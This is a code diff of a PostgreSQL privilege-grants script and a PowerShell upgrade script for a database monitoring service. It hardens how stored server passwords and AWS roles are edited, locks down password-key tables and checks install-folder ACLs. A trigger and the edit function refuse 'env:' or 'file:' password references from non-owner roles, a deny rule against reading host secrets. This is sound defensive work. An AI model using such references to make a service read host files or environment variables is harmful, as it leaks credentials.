+--     revoking the table privilege also revokes every column privilege on it. A plain REVOKE removes only the privileges
+--     recorded as granted by the role that issues it (a superuser or the owner counts as the owner), so run this script
+--     as the same owner every time, as above.
+REVOKE UPDATE ON config.config_monitored_servers FROM viewer;
+
+CREATE OR REPLACE FUNCTION config.edit_monitored_server(
+   p_server_id integer,
+   p_expected_modified_at timestamp,
+   p_columns text[],
+   p_name text,
+   p_host text,
+   p_port integer,
+   p_database text,
+   p_read_only_intent boolean,
+   p_auth text,
+   p_username text,
+   p_secret text,
+   p_encrypt_mode text,
+   p_trust_server_certificate boolean,
+   p_multi_subnet_failover boolean,
+   p_monthly_cost_usd numeric,
+   p_aws_role_arn text,
+   p_aws_external_id text)
+RETURNS TABLE (outcome text, new_modified_at timestamp)
+LANGUAGE plpgsql
+SECURITY DEFINER
+SET search_path = pg_catalog, pg_temp
+AS $fn$
+DECLARE
+   v_old_modified_at timestamp;
+   v_old_host text;
+   v_old_port integer;
+   v_old_auth text;
+   v_old_database text;
+   v_old_read_only_intent boolean;
+   v_old_username text;
+   v_old_encrypt_mode text;
+   v_old_trust_server_certificate boolean;
+   v_old_multi_subnet_failover boolean;
+   v_host text;
+   v_port integer;
+   v_auth text;
+   v_database text;
+   v_read_only_intent boolean;
+   v_username text;
+   v_encrypt_mode text;
+   v_trust_server_certificate boolean;
+   v_multi_subnet_failover boolean;
+   v_secret_auth boolean;
+   v_new_secret boolean;
+   v_secret_set boolean;
+   v_secret text;
+   v_remediation_held boolean;
+   v_connection_changed boolean;
+   v_old_role text;
+   v_old_ext text;
+   v_role text;
+   v_ext text;
+BEGIN
+   p_columns := COALESCE(p_columns, ARRAY[]::text[]);
+
+   SELECT s.modified_at, s.host, s.port, s.auth, s.database, s.read_only_intent, s.username, s.encrypt_mode,
+          s.trust_server_certificate, s.multi_subnet_failover, COALESCE(s.remediation_encrypted_password, '') <> '',
+          s.aws_role_arn, s.aws_external_id
+   INTO v_old_modified_at, v_old_host, v_old_port, v_old_auth, v_old_database, v_old_read_only_intent,
+        v_old_username, v_old_encrypt_mode, v_old_trust_server_certificate, v_old_multi_subnet_failover,
+        v_remediation_held, v_old_role, v_old_ext
+   FROM config.config_monitored_servers AS s
+   WHERE s.server_id = p_server_id
+   FOR UPDATE OF s;
+
+   IF NOT FOUND THEN
+      RETURN QUERY SELECT 'not_found'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- The token is compared as it was read, to the microsecond.
+   IF v_old_modified_at IS DISTINCT FROM p_expected_modified_at THEN
+      RETURN QUERY SELECT 'conflict'::text, v_old_modified_at;
+      RETURN;
+   END IF;
+
+   v_host := CASE WHEN 'host' = ANY (p_columns) THEN btrim(p_host) ELSE v_old_host END;
+   v_port := CASE WHEN 'port' = ANY (p_columns) THEN p_port ELSE v_old_port END;
+   v_auth := CASE WHEN 'auth' = ANY (p_columns) THEN p_auth ELSE v_old_auth END;
+   v_database := CASE WHEN 'database' = ANY (p_columns) THEN p_database ELSE v_old_database END;
+   v_read_only_intent := CASE WHEN 'read_only_intent' = ANY (p_columns) THEN p_read_only_intent ELSE v_old_read_only_intent END;
+   v_username := CASE WHEN 'username' = ANY (p_columns) THEN p_username ELSE v_old_username END;
+   v_encrypt_mode := CASE WHEN 'encrypt_mode' = ANY (p_columns) THEN p_encrypt_mode ELSE v_old_encrypt_mode END;
+   v_trust_server_certificate := CASE WHEN 'trust_server_certificate' = ANY (p_columns) THEN p_trust_server_certificate ELSE v_old_trust_server_certificate END;
+   v_multi_subnet_failover := CASE WHEN 'multi_subnet_failover' = ANY (p_columns) THEN p_multi_subnet_failover ELSE v_old_multi_subnet_failover END;
+   -- The AWS role (#5452). Left out of p_columns, the stored role and external ID are kept. A role named in p_columns
+   -- with a NULL value clears it, and a cleared role takes its external ID with it.
+   v_role := CASE WHEN 'aws_role_arn' = ANY (p_columns) THEN p_aws_role_arn ELSE v_old_role END;
+   v_ext := CASE WHEN v_role IS NULL THEN NULL
+                 WHEN 'aws_external_id' = ANY (p_columns) THEN p_aws_external_id
+                 ELSE v_old_ext END;
+   v_secret_auth := lower(v_auth) IN ('sql', 'serviceprincipal');
+   v_new_secret := 'encrypted_password' = ANY (p_columns) AND COALESCE(p_secret, '') <> '';
+
+   -- A NULL for a column the table requires is refused with a plain outcome: the edit sends nothing the table would
+   -- have to turn away.
+   IF ('name' = ANY (p_columns) AND p_name IS NULL)
+      OR v_host IS NULL OR v_port IS NULL OR v_auth IS NULL OR v_encrypt_mode IS NULL
+      OR v_read_only_intent IS NULL OR v_trust_server_certificate IS NULL OR v_multi_subnet_failover IS NULL
+      OR ('monthly_cost_usd' = ANY (p_columns) AND p_monthly_cost_usd IS NULL) THEN
+      RETURN QUERY SELECT 'invalid_value'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- The store takes the password itself from these roles: a secret that starts with env: or file: (a reference,
+   -- compared as the service reads one, case-sensitive and at the start of the text) is refused. References are set
+   -- in the configuration file.
+   IF v_new_secret AND (left(p_secret, 4) = 'env:' OR left(p_secret, 5) = 'file:') THEN
+      RETURN QUERY SELECT 'reference_refused'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- A new role would take the stored external ID with it unseen; the caller sends the ID again or clears it.
+   IF v_role IS NOT NULL AND v_role IS DISTINCT FROM v_old_role AND v_old_ext IS NOT NULL
+      AND NOT ('aws_external_id' = ANY (p_columns)) THEN
+      RETURN QUERY SELECT 'external_id_needed'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- An external ID with no role is refused (the table's check would refuse it too).
+   IF v_role IS NULL AND 'aws_external_id' = ANY (p_columns) AND p_aws_external_id IS NOT NULL THEN
+      RETURN QUERY SELECT 'external_id_needs_role'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- Any change to how the row connects (host, port, database, read-only intent, authentication mode, username,
+   -- encryption, certificate trust, multi-subnet failover) never keeps the stored secret on a row that has one:
+   -- the same set the route refuses (#5240). The caller's word is not taken: the change is worked out from the row.
+   v_connection_changed := v_host IS DISTINCT FROM v_old_host
+      OR v_port IS DISTINCT FROM v_old_port
+      OR v_database IS DISTINCT FROM v_old_database
+      OR v_read_only_intent IS DISTINCT FROM v_old_read_only_intent
+      OR lower(v_auth) IS DISTINCT FROM lower(v_old_auth)
+      OR v_username IS DISTINCT FROM v_old_username
+      OR lower(v_encrypt_mode) IS DISTINCT FROM lower(v_old_encrypt_mode)
+      OR v_trust_server_certificate IS DISTINCT FROM v_old_trust_server_certificate
+      OR v_multi_subnet_failover IS DISTINCT FROM v_old_multi_subnet_failover;
+
+   -- A row that holds a remediation secret is not moved from here, whatever else the call sends: that secret is
+   -- set and changed on the service host, and a new main password does not replace it.
+   IF v_connection_changed AND v_remediation_held THEN
+      RETURN QUERY SELECT 'remediation_kept'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   IF v_secret_auth AND NOT v_new_secret AND v_connection_changed THEN
+      RETURN QUERY SELECT 'password_needed'::text, NULL::timestamp;
+      RETURN;
+   END IF;
+
+   -- A row whose authentication stores no secret never keeps one.
+   IF NOT v_secret_auth THEN
+      v_secret_set := true;
+      v_secret := NULL;
+   ELSIF 'encrypted_password' = ANY (p_columns) THEN
+      v_secret_set := true;
+      v_secret := p_secret;
+   ELSE
+      v_secret_set := false;
+      v_secret := NULL;
+   END IF;
+
+   -- A value the table's own checks refuse (a required column, a format, a duplicate) answers invalid_value too:
+   -- the table's error text is not passed on.
+   BEGIN
+      UPDATE config.config_monitored_servers AS s
+      SET name = CASE WHEN 'name' = ANY (p_columns) THEN p_name ELSE s.name END,
+          host = v_host,
+          port = v_port,
+          database = v_database,
+          read_only_intent = v_read_only_intent,
+          auth = v_auth,
+          username = v_username,
+          encrypted_password = CASE WHEN v_secret_set THEN v_secret ELSE s.encrypted_password END,
+          encrypt_mode = v_encrypt_mode,
+          trust_server_certificate = v_trust_server_certificate,
+          multi_subnet_failover = v_multi_subnet_failover,
+          monthly_cost_usd = CASE WHEN 'monthly_cost_usd' = ANY (p_columns) THEN p_monthly_cost_usd ELSE s.monthly_cost_usd END,
+          aws_role_arn = v_role,
+          aws_external_id = v_ext,
+          modified_at = (now() AT TIME ZONE 'UTC')
+      WHERE s.server_id = p_server_id
+      RETURNING s.modified_at INTO new_modified_at;
+   EXCEPTION WHEN integrity_constraint_violation THEN
+      RETURN QUERY SELECT 'invalid_value'::text, NULL::timestamp;
+      RETURN;
+   END;
+
+   outcome := 'saved';
+   RETURN NEXT;
+END;
+$fn$;
+REVOKE ALL ON FUNCTION config.edit_monitored_server(integer, timestamp, text[], text, text, integer, text, boolean, text, text, text, text, boolean, boolean, numeric, text, text) FROM PUBLIC;
+GRANT EXECUTE ON FUNCTION config.edit_monitored_server(integer, timestamp, text[], text, text, integer, text, boolean, text, text, text, text, boolean, boolean, numeric, text, text) TO viewer, mcp;
+
+-- #5452: the 15-argument edit function stays as a permanent wrapper over the 17-argument one, for a caller that
+--     was built before the AWS role columns. It passes NULL for both and strips the two AWS column names from
+--     p_columns, so a caller of the old signature can neither change nor clear a role. Same grants, same owner.
+CREATE OR REPLACE FUNCTION config.edit_monitored_server(
+   p_server_id integer,
+   p_expected_modified_at timestamp,
+   p_columns text[],
+   p_name text,
+   p_host text,
+   p_port integer,
+   p_database text,
+   p_read_only_intent boolean,
+   p_auth text,
+   p_username text,
+   p_secret text,
+   p_encrypt_mode text,
+   p_trust_server_certificate boolean,
+   p_multi_subnet_failover boolean,
+   p_monthly_cost_usd numeric)
+RETURNS TABLE (outcome text, new_modified_at timestamp)
+LANGUAGE sql
+SECURITY DEFINER
+SET search_path = pg_catalog, pg_temp
+AS $fn$
+   SELECT e.outcome, e.new_modified_at
+   FROM config.edit_monitored_server(
+      p_server_id, p_expected_modified_at,
+      array_remove(array_remove(COALESCE(p_columns, ARRAY[]::text[]), 'aws_role_arn'), 'aws_external_id'),
+      p_name, p_host, p_port, p_database, p_read_only_intent, p_auth, p_username, p_secret, p_encrypt_mode,
+      p_trust_server_certificate, p_multi_subnet_failover, p_monthly_cost_usd, NULL::text, NULL::text) AS e;
+$fn$;
+REVOKE ALL ON FUNCTION config.edit_monitored_server(integer, timestamp, text[], text, text, integer, text, boolean, text, text, text, text, boolean, boolean, numeric) FROM PUBLIC;
+GRANT EXECUTE ON FUNCTION config.edit_monitored_server(integer, timestamp, text[], text, text, integer, text, boolean, text, text, text, text, boolean, boolean, numeric) TO viewer, mcp;
+
+-- The store's own password rules for every role but the owner: a BEFORE INSERT OR UPDATE trigger on
+--     config_monitored_servers. A new or changed password that starts with env: or file: (a reference) is refused:
+--     references are set in the configuration file, or by --add-server on the service host, as the owner. An update
+--     that changes how a server is reached (host, port, engine, database, read-only intent, authentication mode,
+--     username, encryption, certificate trust, multi-subnet failover) while keeping the stored password is refused:
+--     the password is typed again with the change, and a row that holds a remediation login is not moved by these roles
+--     at all (PW003). The owner (the role that owns the table, or a superuser) is not
+--     held to either rule, and neither is a row already in the table: only INSERT and UPDATE are checked. The
+--     trigger and its function are created here, not in a migration, so re-running this script after an upgrade
+--     keeps them current.
+CREATE OR REPLACE FUNCTION config.monitored_server_password_rules()
+RETURNS trigger
+LANGUAGE plpgsql
+SET search_path = pg_catalog, pg_temp
+AS $rules$
+DECLARE
+   v_reference_main boolean;
+   v_reference_remediation boolean;
+   v_held boolean;
+   v_moved boolean;
+BEGIN
+   -- The store owner (the role that owns the table, and a superuser) writes what it writes: the service, the
+   -- --add-server verb, the configuration-file seed, and the body of edit_monitored_server, which runs as the
+   -- function's owner. Every other role is held to the two rules below.
+   IF pg_has_role(current_user, (SELECT c.relowner FROM pg_catalog.pg_class AS c WHERE c.oid = TG_RELID), 'USAGE') THEN
+      RETURN NEW;
+   END IF;
+
+   v_reference_main := COALESCE(left(NEW.encrypted_password, 4) = 'env:' OR left(NEW.encrypted_password, 5) = 'file:', false);
+   v_reference_remediation := COALESCE(left(NEW.remediation_encrypted_password, 4) = 'env:' OR left(NEW.remediation_encrypted_password, 5) = 'file:', false);
+
+   IF TG_OP = 'INSERT' THEN
+      -- A new row never holds a reference. The one pass: an upsert's proposed row for a server whose stored value is
+      -- already that exact reference (the row is locked, so it cannot go away before the write), which then meets the
+      -- UPDATE rules below. A role that cannot read or lock the row (viewer, mcp) gets the refusal.
+      IF v_reference_main OR v_reference_remediation THEN
+         v_held := false;
+         BEGIN
+            PERFORM 1
+            FROM config.config_monitored_servers AS s
+            WHERE s.server_id = NEW.server_id
+              AND (NOT v_reference_main OR s.encrypted_password = NEW.encrypted_password)
+              AND (NOT v_reference_remediation OR s.remediation_encrypted_password = NEW.remediation_encrypted_password)
+            FOR UPDATE OF s;
+            v_held := FOUND;
+         EXCEPTION WHEN insufficient_privilege THEN
+            v_held := false;
+         END;
+
+         IF NOT v_held THEN
+            RAISE EXCEPTION '%', 'Enter the password itself. References (env: or file:) can only be set in the configuration file.' USING ERRCODE = 'PW001';
+         END IF;
+      END IF;
+
+      RETURN NEW;
+   END IF;
+
+   -- An update never sets a reference.
+   IF (v_reference_main AND NEW.encrypted_password IS DISTINCT FROM OLD.encrypted_password)
+      OR (v_reference_remediation AND NEW.remediation_encrypted_password IS DISTINCT FROM OLD.remediation_encrypted_password) THEN
+      RAISE EXCEPTION '%', 'Enter the password itself. References (env: or file:) can only be set in the configuration file.' USING ERRCODE = 'PW001';
+   END IF;
+
+   -- An update that changes how the row connects (the set edit_monitored_server counts, plus the engine) never keeps
+   -- a stored secret that is still there: the main password is typed again with the change, and a remediation
+   -- password is changed on the service host.
+   v_moved := NEW.host IS DISTINCT FROM OLD.host
+      OR NEW.port IS DISTINCT FROM OLD.port
+      OR NEW.engine IS DISTINCT FROM OLD.engine
+      OR NEW.database IS DISTINCT FROM OLD.database
+      OR NEW.read_only_intent IS DISTINCT FROM OLD.read_only_intent
+      OR lower(NEW.auth) IS DISTINCT FROM lower(OLD.auth)
+      OR NEW.username IS DISTINCT FROM OLD.username
+      OR lower(NEW.encrypt_mode) IS DISTINCT FROM lower(OLD.encrypt_mode)
+      OR NEW.trust_server_certificate IS DISTINCT FROM OLD.trust_server_certificate
+      OR NEW.multi_subnet_failover IS DISTINCT FROM OLD.multi_subnet_failover;
+
+   -- A remediation secret that is kept goes with the login name it was stored for: that name is as much a part of how
+   -- the row is reached as the host is, so it is not changed here either. Not part of v_moved, so it never raises PW002.
+   IF COALESCE(OLD.remediation_encrypted_password, '') <> ''
+      AND NEW.remediation_encrypted_password IS NOT DISTINCT FROM OLD.remediation_encrypted_password
+      AND (v_moved OR NEW.remediation_username IS DISTINCT FROM OLD.remediation_username) THEN
+      RAISE EXCEPTION '%', 'This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.' USING ERRCODE = 'PW003';
+   END IF;
+
+   IF v_moved
+      AND COALESCE(OLD.encrypted_password, '') <> ''
+      AND NEW.encrypted_password IS NOT DISTINCT FROM OLD.encrypted_password THEN
+      RAISE EXCEPTION '%', 'Changing how this server is reached needs its password again: it is stored encrypted and this surface cannot read it back.' USING ERRCODE = 'PW002';
+   END IF;
+
+   -- A new AWS role (#5452) never inherits an external ID stored for the old one, unseen: the update names the ID
+   -- again, or clears it. The owner is not held to this; edit_monitored_server answers it first.
+   IF NEW.aws_role_arn IS NOT NULL
+      AND NEW.aws_role_arn IS DISTINCT FROM OLD.aws_role_arn
+      AND OLD.aws_external_id IS NOT NULL
+      AND NEW.aws_external_id IS NOT DISTINCT FROM OLD.aws_external_id THEN
+      RAISE EXCEPTION '%', 'Changing the AWS role needs the external ID with it: send the external ID again, or clear it.' USING ERRCODE = 'PW004';
+   END IF;
+
+   RETURN NEW;
+END;
+$rules$;
+REVOKE ALL ON FUNCTION config.monitored_server_password_rules() FROM PUBLIC;
+CREATE OR REPLACE TRIGGER trg_monitored_server_password_rules
+   BEFORE INSERT OR UPDATE ON config.config_monitored_servers
+   FOR EACH ROW EXECUTE FUNCTION config.monitored_server_password_rules();
 
 -- 3e. Custom alert rules (#3285): the web dashboard's rule editor (/api/alerts, as viewer) and the MCP rule
 --     tools (as mcp) create, edit and delete config.custom_alert_rules -- non-secret rule JSON, the same
@@ -319,7 +710,78 @@ GRANT INSERT ON config.analysis_muted TO mcp;
 GRANT UPDATE ON config.config_alert_settings TO mcp;
 GRANT UPDATE (email_cooldown_minutes) ON config.config_notification TO mcp;
 GRANT UPDATE (enabled, modified_at), DELETE ON config.config_notification_routes TO mcp;
-GRANT INSERT, UPDATE, DELETE ON config.config_monitored_servers TO mcp;
+GRANT INSERT, DELETE ON config.config_monitored_servers TO mcp;
+REVOKE UPDATE ON config.config_monitored_servers FROM mcp;
+-- The role and external ID of a server are set only through the edit function (and an INSERT): mcp's UPDATE
+-- names every other column of the table and leaves out aws_role_arn, aws_external_id and the generated
+-- aws_external_id_set. A column added to the table later is added to this list.
+GRANT UPDATE (server_id, name, host, database, auth, username, encrypted_password, encrypt_mode, trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases, monthly_cost_usd, capture_plans, is_enabled, created_at, modified_at, alert_delivery_mode_override, engine, port, plan_force_bot_enabled, remediation_username, remediation_encrypted_password)
+   ON config.config_monitored_servers TO mcp;
+
+-- 3g. The password key tables (V165, #5366): written only by the store owner (the service, its command line and the
+--     migration runner); a trigger on each table refuses every other writer. This is the grant side of the same rule,
+--     and it comes after EVERY grant above, so none of them can put a privilege back. REVOKE ALL ... CASCADE takes every
+--     privilege on the four tables from PUBLIC and the three roles, TRIGGER and REFERENCES included, so no role can add
+--     a new trigger or foreign key. A trigger or foreign key already there (made while a role held the privilege) is
+--     dropped by the loops below, with a WARNING, because it would outlast the REVOKE. Then SELECT on the key and
+--     service-state tables is granted back to admin only (the desktop Viewer reads them as admin), and the DO block
+--     checks that nothing else is left; the pin tables are read by the owner only. The four tables are created by V165 and the
+--     legacy pin candidate table by V167: on a store below V165 the block warns and skips, so the rest of the script
+--     (the PUBLIC revoke below included) still runs; re-run the script once the service has migrated the store to V167.
+--     A store at V165 or V166 gets the four-table revoke now, and the candidate table's own revoke once V167 has made it.
+DO $do$
+DECLARE
+    stray record;
+BEGIN
+    IF pg_catalog.to_regclass('config.password_key') IS NOT NULL
+       AND pg_catalog.to_regclass('config.password_key_service') IS NOT NULL
+       AND pg_catalog.to_regclass('config.legacy_secret_pin') IS NOT NULL
+       AND pg_catalog.to_regclass('config.legacy_secret_pin_marker') IS NOT NULL THEN
+        REVOKE ALL ON config.password_key, config.password_key_service,
+           config.legacy_secret_pin, config.legacy_secret_pin_marker FROM PUBLIC, admin, viewer, mcp CASCADE;
+        GRANT SELECT ON config.password_key, config.password_key_service TO admin;
+        IF pg_catalog.to_regclass('config.legacy_secret_pin_candidate') IS NOT NULL THEN
+            REVOKE ALL ON config.legacy_secret_pin_candidate FROM PUBLIC, admin, viewer, mcp CASCADE;
+        END IF;
+
+        FOR stray IN
+           SELECT t.tgname, t.tgrelid::pg_catalog.regclass::pg_catalog.text AS tablename
+           FROM pg_catalog.pg_trigger AS t
+           WHERE NOT t.tgisinternal
+             AND t.tgrelid IN (pg_catalog.to_regclass('config.password_key'), pg_catalog.to_regclass('config.password_key_service'), pg_catalog.to_regclass('config.legacy_secret_pin'), pg_catalog.to_regclass('config.legacy_secret_pin_marker'), pg_catalog.to_regclass('config.legacy_secret_pin_candidate'))
+             AND t.tgname NOT IN ('trg_password_key_owner_only_row', 'trg_password_key_owner_only_truncate', 'trg_password_key_service_owner_only_row', 'trg_password_key_service_owner_only_truncate', 'trg_legacy_secret_pin_owner_only_row', 'trg_legacy_secret_pin_owner_only_truncate', 'trg_legacy_secret_pin_marker_owner_only_row', 'trg_legacy_secret_pin_marker_owner_only_truncate', 'trg_legacy_secret_pin_candidate_owner_only_row', 'trg_legacy_secret_pin_candidate_owner_only_truncate')
+        LOOP
+           RAISE WARNING 'Dropped trigger % from % because only the store owner may write the password key tables.', stray.tgname, stray.tablename;
+           EXECUTE pg_catalog.format('DROP TRIGGER %I ON %s', stray.tgname, stray.tablename);
+        END LOOP;
+
+        FOR stray IN
+           SELECT k.conname, k.conrelid::pg_catalog.regclass::pg_catalog.text AS tablename
+           FROM pg_catalog.pg_constraint AS k
+           WHERE k.contype = 'f'
+             AND k.confrelid IN (pg_catalog.to_regclass('config.password_key'), pg_catalog.to_regclass('config.password_key_service'), pg_catalog.to_regclass('config.legacy_secret_pin'), pg_catalog.to_regclass('config.legacy_secret_pin_marker'), pg_catalog.to_regclass('config.legacy_secret_pin_candidate'))
+        LOOP
+           RAISE WARNING 'Dropped foreign key % on % because it references a password key table.', stray.conname, stray.tablename;
+           EXECUTE pg_catalog.format('ALTER TABLE %s DROP CONSTRAINT %I', stray.tablename, stray.conname);
+        END LOOP;
+
+        IF EXISTS (
+           SELECT 1
+           FROM pg_catalog.pg_class AS c
+           CROSS JOIN LATERAL pg_catalog.aclexplode(c.relacl) AS a
+           LEFT JOIN pg_catalog.pg_roles AS r ON r.oid = a.grantee
+           WHERE c.oid IN (pg_catalog.to_regclass('config.password_key'), pg_catalog.to_regclass('config.password_key_service'), pg_catalog.to_regclass('config.legacy_secret_pin'), pg_catalog.to_regclass('config.legacy_secret_pin_marker'), pg_catalog.to_regclass('config.legacy_secret_pin_candidate'))
+             AND (a.grantee = 0 OR r.rolname IN ('admin', 'viewer', 'mcp'))
+             AND NOT (COALESCE(r.rolname = 'admin', false) AND a.privilege_type = 'SELECT'
+                      AND c.oid IN (pg_catalog.to_regclass('config.password_key'), pg_catalog.to_regclass('config.password_key_service')))
+        ) THEN
+           RAISE EXCEPTION 'A role other than the store owner still holds a privilege it should not on a password key table.';
+        END IF;
+    ELSE
+        RAISE WARNING 'The password key tables were not found, so their grants were skipped. Run this script again after the service has upgraded the store.';
+    END IF;
+END
+$do$;
 
 -- 4. Default privileges so NEW tables/views (future collectors, created bare into collect via
 --    search_path) auto-inherit SELECT. FOR ROLE <owner> must name the role that creates them.
diff --git a/Darling/tools/upgrade-darling.ps1 b/Darling/tools/upgrade-darling.ps1
index 2d04e84724..943b6112df 100644
--- a/Darling/tools/upgrade-darling.ps1
+++ b/Darling/tools/upgrade-darling.ps1
@@ -130,6 +130,13 @@ param(
 )
 
 $ErrorActionPreference = 'Stop'
+
+# Windows PowerShell 5.1 leaves $PSScriptRoot EMPTY inside a [CmdletBinding()] script's param() defaults when the
+# script is started with -File, so the -Source default above can resolve to nothing and the run would stop at
+# "No -Source given" (#5627: measured by the upgrade-shape check on windows-2022 and windows-2025). The script body
+# does see $PSScriptRoot, so the default is applied here.
+if ([string]::IsNullOrWhiteSpace($Source)) { $Source = $PSScriptRoot }
+
 $serviceName = 'PerformanceMonitor Darling'
 $serviceExeName = 'PerformanceMonitor.Darling.Service.exe'
 $configName = 'darling.json'
@@ -186,7 +193,15 @@ function Note([string]$message) { Write-Host $message }
 # holds WRITE_DAC and WRITE_OWNER implicitly and can grant itself anything regardless of what the DACL
 # currently says, the same fact Lock-DarlingInstallTree's own post-lock walk already acts on ("owned by").
 # So the owner is checked directly here too, rather than trying to read that ACE.
-function Get-UntrustedWriteGrantees([string]$path, [array]$trusted, [switch]$Recurse) {
+#
+# -ServiceSids (#5627) are the service's own accounts (Get-DarlingServiceSids). They are trusted as owner and as
+# a write grantee only in the folders and files the service writes (Test-DarlingServiceWrittenPath, one list
+# shared with Lock-DarlingInstallTree; -ServiceDirectories are the extra folders Get-DarlingExtraServiceWriteDirectories
+# returns for it). Everywhere else in the tree, $path itself included, they are named like
+# any other account: the lock gives the service read and execute on $path, so a write right there is not one
+# the lock put there. A caller that passes none (a source build, which the service never writes to) trusts
+# them nowhere.
+function Get-UntrustedWriteGrantees([string]$path, [array]$trusted, [switch]$Recurse, [array]$serviceSids = @(), [array]$serviceDirectories = @()) {
     $rights = [System.Security.AccessControl.FileSystemRights]
     $allow = [System.Security.AccessControl.AccessControlType]::Allow
     $sidType = [System.Security.Principal.SecurityIdentifier]
@@ -201,14 +216,20 @@ function Get-UntrustedWriteGrantees([string]$path, [array]$trusted, [switch]$Rec
     function Get-DarlingOneObjectWriteFindings([string]$itemPath, [bool]$includeInherited) {
         try { $acl = Get-Acl -LiteralPath $itemPath -ErrorAction Stop }
         catch { return @("$itemPath (its permissions could not be read: $($_.Exception.Message))") }
+        $ownerTrusted = $trusted
+        $granteeTrusted = $trusted
+        if (@($serviceSids).Count -gt 0) {
+            if (Test-DarlingServiceWrittenPath $path $itemPath $serviceDirectories) { $ownerTrusted = @($trusted) + @($serviceSids); $granteeTrusted = $ownerTrusted }
+        }
         $bad = @($acl.GetAccessRules($true, $includeInherited, $sidType) | Where-Object {
-            $_.AccessControlType -eq $allow -and (([int64]$_.FileSystemRights) -band $write) -ne 0 -and $trusted -notcontains $_.IdentityReference -and $inheritOnlyTemplates -notcontains $_.IdentityReference })
+            $_.AccessControlType -eq $allow -and (([int64]$_.FileSystemRights) -band $write) -ne 0 -and $granteeTrusted -notcontains $_.IdentityReference -and $inheritOnlyTemplates -notcontains $_.IdentityReference })
         $result = @($bad | ForEach-Object {
-            $name = try { $_.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $_.IdentityReference.Value }
+            $grantee = $_.IdentityReference
+            $name = try { $grantee.Translate([System.Security.Principal.NTAccount]).Value } catch { $grantee.Value }
             "$name on $itemPath"
         })
         $owner = $acl.GetOwner($sidType)
-        if ($trusted -notcontains $owner) {
+        if ($ownerTrusted -notcontains $owner) {
             $name = try { $owner.Translate([System.Security.Principal.NTAccount]).Value } catch { $owner.Value }
             $result += "$itemPath (owned by $name)"
         }
@@ -283,22 +304,60 @@ function Resolve-DarlingServiceAccountSid([string]$account) {
     catch { return $null }
 }
 
+# The folders and files the service itself writes inside the install root. ONE list, read by Lock-DarlingInstallTree
+# (what it creates, grants and keeps the service's ownership of) and by the pre-lock walk (where the service's own
+# account is trusted as owner and as a write grantee), so the two cannot drift apart. Directories are always
+# created and granted; KeyDirectories only on a bring-your-own PostgreSQL install (Get-DarlingExtraServiceWriteDirectories
+# returns them, and only then are they on the list). Files are matched by exact name in the install root only: darling.json,
+# and its backups, which the config-editing verbs name darling.json.bak-yyyyMMdd-HHmmss with an optional -N counter
+# (BackupPattern). Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingServiceWrittenNames {
+    return [pscustomobject]@{
+        Directories    = @('pg-runtime', 'pg-runtime-prev')
+        KeyDirectories = @('darling-keys')
+        Files          = @('darling.json')
+        BackupPattern  = '^darling\.json\.bak-[0-9]{8}-[0-9]{6}(-[0-9]+)?$'
+    }
+}
+
+# True when a file NAME is one of the root files on the list above.
+function Test-DarlingServiceWrittenFileName([string]$name) {
+    $names = Get-DarlingServiceWrittenNames
+    foreach ($file in @($names.Files)) {
+        if ($name -ieq $file) { return $true }
+    }
+    return [bool]($name -match $names.BackupPattern)
+}
+
+# True when $candidate is a folder on the list above inside $root (or anything below it), or one of the listed
+# files directly in $root. $extraDirectories are the key folders Get-DarlingExtraServiceWriteDirectories returns
+# for this install, the same ones the lock is handed. The FIRST name below $root is compared exactly, and a name
+# Windows would fold into another ('pg-runtime.', a '..' step) matches nothing. The install root itself and every
+# other file or folder in it are not on the list.
+function Test-DarlingServiceWrittenPath([string]$root, [string]$candidate, [string[]]$extraDirectories = @()) {
+    try { $rootText = [IO.Path]::GetFullPath($root).TrimEnd('\') }
+    catch { return $false }
+    if (-not $candidate.StartsWith($rootText + '\', [StringComparison]::OrdinalIgnoreCase)) { return $false }
+    $segments = @($candidate.Substring($rootText.Length + 1).TrimEnd('\') -split '\\')
+    foreach ($segment in $segments) {
+        if ($segment -eq '' -or $segment -eq '.' -or $segment -eq '..' -or $segment.EndsWith('.') -or $segment.EndsWith(' ')) { return $false }
+    }
+    $names = Get-DarlingServiceWrittenNames
+    foreach ($directory in (@($names.Directories) + @($extraDirectories | Where-Object { $_ }))) {
+        if ($segments[0] -ieq $directory) { return $true }
+    }
+    return [bool]($segments.Count -eq 1 -and (Test-DarlingServiceWrittenFileName $segments[0]))
+}
+
 # The trusted set for Get-UntrustedWriteGrantees BEFORE a service account exists to add to it (#4043):
 # SYSTEM, Administrators, TrustedInstaller, whoever is running this script elevated right now, and every
 # direct member of BUILTIN\Administrators (round-1 review, M2) - a folder the installing admin's own account
 # owns and can write to, or one a DIFFERENT administrator's account owns, is exactly what a normal
 # extraction looks like, not a finding. Kept as its own function because install-darling.ps1 and
-# upgrade-darling.ps1 both need it and must agree on it.
-#
-# $existingServiceAccount adds one more, when the caller has one: the CURRENT logon account of an
-# ALREADY-REGISTERED Darling service (round-1 review, #4043). A re-run of install-darling.ps1 over a tree
-# #4038 already locked - a repair, or this script used as its own upgrade path - is not a fresh extraction:
-# the lock already granted that account Modify on $root, and without this, the very first re-run or repair
-# over an already-locked install would refuse itself over the grant #4038 itself made. Resolved through
-# Resolve-DarlingServiceAccountSid; a name that will not translate is left out rather than thrown on here -
-# see Get-DarlingPreLockTrustedSidsForRerun for the caller that refuses instead of silently dropping it
-# (L4). The base set still applies either way.
-function Get-DarlingPreLockTrustedSids([string]$existingServiceAccount) {
+# upgrade-darling.ps1 both need it and must agree on it. This is the whole set for a folder the service never
+# writes to (a source build), and the base set for the install folder, where Get-DarlingServiceSids adds the
+# service's own account for the folders on the Get-DarlingServiceWrittenNames list.
+function Get-DarlingPreLockTrustedSids {
     $wk = [System.Security.Principal.WellKnownSidType]
     $sidType = [System.Security.Principal.SecurityIdentifier]
     $trusted = @(
@@ -306,16 +365,49 @@ function Get-DarlingPreLockTrustedSids([string]$existingServiceAccount) {
         (New-Object System.Security.Principal.SecurityIdentifier($wk::BuiltinAdministratorsSid, $null)),
